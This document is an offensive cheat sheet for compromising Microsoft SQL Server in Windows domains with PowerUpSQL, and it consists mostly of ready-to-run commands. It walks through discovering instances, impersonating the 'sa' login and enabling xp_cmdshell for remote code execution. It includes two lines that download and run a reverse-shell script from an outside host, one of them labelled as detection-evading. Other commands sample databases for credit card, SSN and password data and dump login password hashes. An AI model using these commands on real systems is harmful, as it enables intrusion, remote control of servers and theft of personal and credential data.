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MSSQL

Tool : PowerUpSQL

Import-Module .\PowerupSQL.psd1

Discovery (SPN Scanning)

Get-SQLInstanceDomain

Discover Local SQL Server Instances

Get-SQLInstanceLocal -Verbose

Discover Remote SQL Server Instances

Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-SQLInstanceScanUDPThreaded -Verbose

Discover Active Directory Domain SQL Server Instances using alternative domain credentials

runas /noprofile /netonly /user:domain\user PowerShell.exe
import-module PowerUpSQL.psd1
Get-SQLInstanceDomain -Verbose -DomainController 172.16.0.1 -Username domain\user -password 'P@ssword123'

Check Accessibility

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

Gather Information

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Look for links to remote servers

Get-SQLServerLink -Instance db-mssql -Verbose

Enumerating Database Links

Get-SQLServerLinkCrawl -Instance db-mssql -Verbose

List SQL Servers using a specific domain account

Get-SQLInstanceDomain -Verbose -DomainAccount SQLSvc

List shared domain user SQL Server service accounts

Get-SQLInstanceDomain -Verbose | Group-Object DomainAccount | Sort-Object count -Descending | select Count,Name | Where-Object {($_.name -notlike "*$") -and ($_.count -gt 1) }

Authenticating to a known SQL Server instance as the current domain user.

Get-SQLQuery -Verbose -Instance "10.2.2.5,1433"

Authenticating to a known SQL Server instance using a SQL Server login.

# Server and Instance Name
Get-SQLQuery -Verbose -Instance "servername\instancename" -username testuser -password testpass
# IP and Instance Name
Get-SQLQuery -Verbose -Instance "10.2.2.5\instancename" -username testuser -password testpass
# IP and Port
Get-SQLQuery -Verbose -Instance "10.2.2.5,1433" -username testuser -password testpass

Get general server information such as SQL/OS versions, service accounts, sysdmin access etc.

Get-SQLServerInfo -Verbose -Instance SQLServer1\Instance1
#
$ServerInfo = Get-SQLInstanceDomain | Get-SQLServerInfoThreaded -Verbose -Threads 10
$ServerInfo

Get an inventory of common objects from the remote server including permissions, databases, tables, views etc, and dump them out into CSV files.

Invoke-SQLDumpInfo -Verbose -Instance Server1\Instance1

Audit for Issues

Invoke-SQLAudit -Verbose -Instance SQLServer1

Audit for Impersonate login

Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1 -Verbose -Debug -Exploit

Loock for :

  • CONNECTION SUCCESS.
  • Logins can be impersonated.
  • can impersonate the sa sysadmin login.
  • DOMAIN\user can impersonate the dbaccount login

Manual Impersonate login

MIMIKATZ PTT Exec HeidiSQL

-- Impersonate the sa login
EXECUTE AS LOGIN = 'sa'

-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

-- RCE via xp_cmdshell
EXEC master..xp_cmdshell 'powershell iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.10/revshell.ps1'')"'

Manual Check

-- Verify you are still running as the dbadmin login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Impersonate the sa login
EXECUTE AS LOGIN = 'sa'
-- Verify you are now running as the sa login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

EXEC master..xp_cmdshell 'hostname'

Manual Crawling

-- Check 2 hops + databases
SELECT * FROM OPENQUERY("SRV1",
'SELECT * FROM OPENQUERY("SRV2",
''SELECT name FROM master..sysdatabases'')')

Execute OS commands: Agent Job - PowerShell

$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'write-output "hello world" | out-file c:\windows\temp\test2.txt' -Sleep 20

Xp_cmdshell v1

Get-SQLServerLinkCrawl -Instance db-mssql -Query "sp_configure 'show advanced options', '1'"
Get-SQLServerLinkCrawl -Instance db-mssql -Query "RECONFIGURE"
Get-SQLServerLinkCrawl -Instance db-mssql -Query "sp_configure 'xp_cmdshell', '1'"
Get-SQLServerLinkCrawl -Instance db-mssql -Query "RECONFIGURE"

Xp_cmdshell v2

Get-SQLQuery -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "msqlsrv.domain.local"'

Xp_cmdshell v3

Get-SQLServerLinkCrawl -Instance DOMAIN\SQLEXPRESS 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "msqlsrv.domain.local"'

OSQL Xp_cmdshell

osql -E -S "db-mssql" -Q "EXECUTE('sp_configure ''xp_cmdshell'',1;RECONFIGURE;') AT [msqlsrv.domain.local]"

Executing Commands

Get-SQLServerLinkCrawl -Instance db-mssql -Query "exec master..xp_cmdshell "whoami'"

Reverse shell

Get-SQLServerLinkCrawl -Instance db-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.10:1433/revshell_FUD.ps1'')"'

Data mining

Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword "credit,ssn,password" -SampleSize 2 -ValidateCC -NoDefaults

Check files

Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLDatabaseThreaded -Verbose -Threads 10 -NoDefaults | Where-Object {$_.is_encrypted -eq "TRUE"} | Get-SQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword "card, password" -SampleSize 2 -ValidateCC -NoDefaults

Extracting SQL Server Login password hashes

Get-SQLServerPasswordHash -Verbose -Instance MSSQLSERVER2016\db-mssql -Migrate

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